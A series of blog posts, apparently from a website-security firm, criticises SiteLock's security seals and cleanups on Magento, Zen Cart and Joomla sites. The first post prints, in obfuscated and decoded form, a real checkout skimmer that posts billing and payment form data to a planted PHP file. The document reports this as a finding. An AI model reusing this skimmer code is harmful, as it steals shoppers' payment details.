SiteLock Labels Website as Secure Despite Being Very Dangerous For Visitors

When it comes to the poor state of security for websites, a lot of the blame for that probably belongs to the security companies, that don’t seem to have much concern for security. One of the worst offenders is the purveyors of website security or trust seals, that claim that websites are secure. Those companies seem to be mainly interested in selling the idea that their customer’s websites are secure, without being too concerned whether they are or not (in some cases placing their seals on website they know are not secure).

Several times in the past we have noted instances where websites we were working on, in which one of these companies, SiteLock, was labeling the websites as being secure despite the fact the websites were running outdated software with known security vulnerabilities. That being despite the ease it would be to check for the use of outdated software. In the latest case we are working on a website they label as being secure

SiteLock SECURE seal

despite the fact that the website had been hacked and contained code on its webpages that compromised any information entered on the checkout section of the website. If that doesn’t make a website insecure, we are not sure what would.

What makes it stick out even more is that the code wasn’t hidden, it was sitting at the bottom of the page right below the code for SiteLock seal:

<div id="sitelock_shield_logo" class="fixed_btm" style="bottom:0;position:fixed;_position:absolute;right:0;"><a href="https://www.sitelock.com/verify.php?site=[redacted]" onclick="window.open('https://www.sitelock.com/verify.php?site=[redacted]','SiteLock','width=600,height=600,left=160,top=170');return false;" ><img alt="SiteLock" title="SiteLock" src="//shield.sitelock.com/shield/[redacted]"></a></div><script>var _0x1137=["\x63\x6C\x69\x63\x6B","\x2F\x6D\x65\x64\x69\x61\x2F\x63\x61\x74\x61\x6C\x6F\x67\x2F\x70\x72\x6F\x64\x75\x63\x74\x2F\x63\x61\x63\x68\x65\x2F\x31\x2F\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x2F\x37\x30\x30\x78\x2F\x32\x62\x66\x38\x66\x32\x62\x38\x64\x30\x32\x38\x63\x63\x65\x39\x36\x2F\x42\x2F\x57\x2F\x64\x61\x34\x31\x38\x30\x33\x63\x63\x39\x38\x34\x62\x38\x63\x2E\x70\x68\x70","\x50\x4F\x53\x54","\x66\x6F\x72\x6D","\x73\x65\x72\x69\x61\x6C\x69\x7A\x65","\x61\x6A\x61\x78","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x27\x62\x69\x6C\x6C\x69\x6E\x67\x2E\x73\x61\x76\x65\x28\x29\x27\x5D","\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x73\x74\x65\x70\x2D\x62\x69\x6C\x6C\x69\x6E\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x27\x70\x61\x79\x6D\x65\x6E\x74\x2E\x73\x61\x76\x65\x28\x29\x27\x5D","\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x73\x74\x65\x70\x2D\x70\x61\x79\x6D\x65\x6E\x74"];function s1(){jQuery(_0x1137[7])[0][_0x1137[6]](_0x1137[0],function(){jQuery[_0x1137[5]]({url:_0x1137[1],type:_0x1137[2],data:Form[_0x1137[4]](billing[_0x1137[3]])})})}document[_0x1137[9]](_0x1137[8])[_0x1137[6]](_0x1137[0],s1());function s2(){jQuery(_0x1137[10])[0][_0x1137[6]](_0x1137[0],function(){jQuery[_0x1137[5]]({url:_0x1137[1],type:_0x1137[2],data:Form[_0x1137[4]](payment[_0x1137[3]])})})}document[_0x1137[9]](_0x1137[11])[_0x1137[6]](_0x1137[0],s2());</script></body> </html>

 

The code is also stored right along side the SiteLock seal code in the website’s database:

malicious-code-below-sitelock-code-in-database

 

The code is slightly obfuscated, which we would assume would make a good malicious code scanning tool (if one actually exists) more suspicious of it, but it shouldn’t be anything that should be a problem for one to deobfuscate. When that is done you can see that code watches for some actions being taken in the Magento checkout process and then transmit the data being entered to another file on the website for later retrieval by the hacker:

<script>var _0x1137=["click","/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php","POST","form","serialize","ajax","addEventListener","[onclick='billing.save()']","checkout-step-billing","getElementById","[onclick='payment.save()']","checkout-step-payment"];function s1(){jQuery([onclick='billing.save()'])[0][addEventListener](click,function(){jQuery[serialize]({url:/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php,type:POST,data:Form[serialize](billing[form])})})}document[getElementById](checkout-step-billing)[addEventListener](click,s1());function s2(){jQuery([onclick='payment.save()'])[0][addEventListener](click,function(){jQuery[serialize]({url:/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php,type:POST,data:Form[serialize](payment[form])})})}document[getElementById](checkout-step-payment)[addEventListener](click,s2());</script>

If you are relying on SiteLock to keep your website secure, now would be a good time to stop that and instead focus on making sure you take the steps that will actually keep your website secure. (In this case the website was hacked due to Magento not being kept up to date.)

While we are discussing SiteLock it also worth mentioning the fact that they also don’t properly clean up hacked websites, but do manage to break them when doing a less they should be.

Despite their abysmal record, SiteLock claims to be “The Global Leader in Website Security” (how much worse much worse at website security must they think their competitors are?):

[The following image is missing because SiteLock doesn’t want to you to be able see what the homepage of their websites looks like.]

sitelock-global-leader

SiteLock Also Managed to Break a Website

When it comes to improving the security of websites one of the biggest impediments we see is the many companies selling security services. The services they sell generally don’t do much too actually fix the underlying security issues that exist (and could be fixed), while at the same time they spread a lot of bad information making it harder to actually improve security. The general sense we get is that these companies neither care nor know much about security.

One such company we have discussed several times before is SiteLock. In the past we have mentioned how they continue to fail to do a basic security check and don’t do proper hack cleanups. In another post we looked at how GoDaddy was distributing software to clients with known security vulnerabilities while trying to sell an additional service in partnership with SiteLock to “Defend your website against hackers” and “Keep your site clean and secure.”. If SiteLock cared about security you would think they would have insured that GoDaddy resolved that situation before they partnered with them.

A recent situation we were brought in on showed yet more problems with SiteLock. A Joomla website hosted with GoDaddy was hacked and GoDaddy recommend to the website’s owner that they sign up SiteLock’s service to clean it up. SiteLock then did what they describe as 95 percent of the cleanup, but then told the website’s owner that rest of the work would need to be done manually and would incur an additional fee. In the meantime the work SiteLock had done had managed to break the website, with only the homepage loading anymore. The website’s owner was unsettled about SiteLock wanting more money to complete the work and the fact that the website was broken after the partial work was done, so they reached out to us to take a look.

The most likely culprit for when only the homepage is loading for a Joomla website that has Search Engine Friendly URLs enabled, like this one did, is that the .htaccess file has been damaged in some way. The code in that file is needed to translate the Search Engine Friendly URLs in to the form understood by the underlying software. It isn’t uncommon when we are brought to re-clean a hacked website that has been previously cleaned with an automated tool to find that core files have been damaged or deleted entirely, causing varying degrees of problems with the website. In this situation the .htaccess file was missing all of the normal code that should be in it when we took a look at it.

One nice feature of GoDaddy’s standard control panel is that you are able to view how files looked over the previous month or so, which can come in handy when dealing with recently hacked websites. In this case we figured we could pull up the file from right before SiteLock did its cleanup and then restore the file and just remove the malicious code in it. Surprisingly there was no malicious code in the file, so unless some malicious code was added between when backup file was made that day and the time of their cleanup, it looks like SiteLock managed somehow to damage a file that had not contained any malicious code and shouldn’t have been touched.

SiteLock Still Failing To Do Basic Security Check

Back in September we looked at the fact that a website we were doing an upgrade of Magento on had a security seal from SiteLock claiming that the website was secure, despite the fact that it wasn’t since the website was running outdated software with known security issues. Fast forward six months and SiteLock is still labeling websites as secure when they are running outdated and insecure software.

Today’s case involves a website that we are doing an upgrade from Zen Cart 1.3.8a. That version is nearly five years out of date and there have been numerous releases with security improvements since then (due to its age, it isn’t clear exactly how many of those fix issues that existed in 1.3.8a). Despite that the website is labeled as being secure by SiteLock:

Sitelock Security Seal

Not only does falsely claiming the website is secure mislead those visiting the website, but it also gives webmaster a false sense of security, which a security service shouldn’t do.

If SiteLock was actually interested in security it would quite easy for them to make sure the software on websites is up to date. Our Zen Cart Version Check extension for chrome is able to correctly detect the version in use from outside the website in this case:

Zen Cart Version Check

With access to the website’s file, as Sitelock does, it is even easier to do and more accurate. For Zen Cart the version number is listed in the file /includes/version.php, so all you would need to do is to check files matching that for the following lines and you would know whether an outdated version of Zen Cart is in use:

define(‘PROJECT_VERSION_NAME’, ‘Zen Cart’);
define(‘PROJECT_VERSION_MAJOR’, ‘1’);
define(‘PROJECT_VERSION_MINOR’, ‘3.8a’);

SiteLock Doesn’t Do Basic Part of Proper Hack Cleanup

A few weeks ago we wrote about the web security company SiteLock failing to do a basic security check, checking to make sure software running on a website was up to date when labeling before labeling the website as secure. Based on that we weren’t surprised at our next interaction with their work.

A couple of days ago we were contacted by someone who looking for help after their website had been hacked and SiteLock had been hired to clean it up. After SiteLock had said that they had removed all the malware the owner of the website had requested their web host to bring the website back online. The web host told them that they couldn’t do that since they detected files for outdated software, Joomla 1.5.25, on the website (despite the website using Joomla 2.5). At that point we were contacted about finding and removing those files and in reply we told them they should go back to SiteLock since that should be something SiteLock should do for them. In response they let us know that SiteLock told them they “don’t have the capability to remove or update outdated CMS content”. That is rather troubling since getting the software running on a hacked website up to date is a basic part of a hack cleanup, as it is a basic part of making a website secure. In this type of situation, where a proper hack cleanup hasn’t been done we would only get involved if we are going to do a full cleanup, since we don’t want to be involved in leaving a website insecure, so we suggested that since they were only interested in having the Joomla 1.5.25 files removed they could probably find someone else to do it for less than having a full cleanup done.

The idea that a company is cleaning up hacked websites without doing such basic part of the work is pretty troubling, so we wanted to double check that it wasn’t just that they were refusing to remove some out of date files and instead that they don’t actually update the software running on the website when doing a cleanup. Since the website is running Joomla it is easy to check if the website is up to date with our Joomla Version Check extension for Chrome. After the website came back online we checked and found that website was running an outdated version:

Joomla version 2.5.22

That confirms that SiteLock isn’t doing some of the basic work of the hack cleanup, which is pretty good reason to not to use them for that or any other service they provide since they don’t appear to actually be interested in properly securing websites.

SiteLock Fails To Do Basic Security Check

When it comes to the security of websites what we see is a situation where basic security measures, like keeping software up to date, are not being taken and security companies, most of whom appear to have little interested in actually improving security, are selling security services that are really not needed. A good example of this is SiteLock, which sells a security service that doesn’t provide any of the security measures that need to be taken to protect your website from hackers. Worse than that, we recently found that it is really poor at doing one of things that it is supposed to do, leading the people running websites and their customers to have a false sense of security.

We recently were hired to do an upgrade of website running Magento 1.4.1.1, a rather out of date version (the next version, 1.4.2.0, was released in December of 2010). When we took a look at the website we were rather surprised to see a security seal from SiteLock claiming the website was secure (we have blacked out the domain name in the image):

SiteLock Secure Seal

Version 1.4.1.1 of Magento is old enough that security patches for major issues are no longer released for it and anyone concerned about security would be running at least the most recent major release, 1.9.0.0, as it includes a number of security enhancements:

  • Addressed a potential cross-site scripting (XSS) vulnerability while creating configurable product variants.
  • Addressed a potential security issue that could result in displaying information about a different order to a customer.
  • Users can no longer change the currency if the payment method PayPal Website Payments Standard is used.
  • Removed an .swf file from the Magento distribution because of security issues.
  • Improved file system security.
  • Enhanced the security of action URLs, such as billing agreements.
  • Addressed a potential session fixation vulnerability during checkout.
  • Improved the security of the Magento randomness function.

We don’t really think that a website should labeled as secure in that instance, but we assumed that SiteLock had at least provided a private warning that the website was in need of an update. But according to our client they never heard anything from SiteLock about the issue. This is surprising considering it is something that service is supposed to be providing. On the homepage of their website they start the description of their services as “We scan your website to find and fix existing malware and vulnerabilities “. On the page about the service they further expand on that:

Our scanners identify applications you have installed and which version you have. We compare that to industry and proprietary lists to determine the security of your installation. SiteLock’s comprehensive scanning eliminates reports of “false positives” that are not truly dangerous to your business. If we discover a vulnerability in our testing, we report it to you immediately and can help you upgrade your application version and secure your site.

How did SiteLock miss that the website is running such outdated software? It is not because it is difficult to detect. If you have access to the website’s underlying files, which it appears SiteLock would have, then you can easily get the Magento version number from the file /app/Mage.php in Magento. Without access the underlying files you can still get the version number of Magento in use. One way to do that is with our Magento Version Check extension for Chrome, which had no problem detecting the version in use on the website:

Magento Version Check

For anyone looking for a tool that will actually alert you when your websites are using outdated software our Up to Date? app for Chrome provides just that:

Up to Date? app showing Magento verisons

As for the SiteLock service, you would better off using the money you would spend on their service on the things that will actually keep your website secure.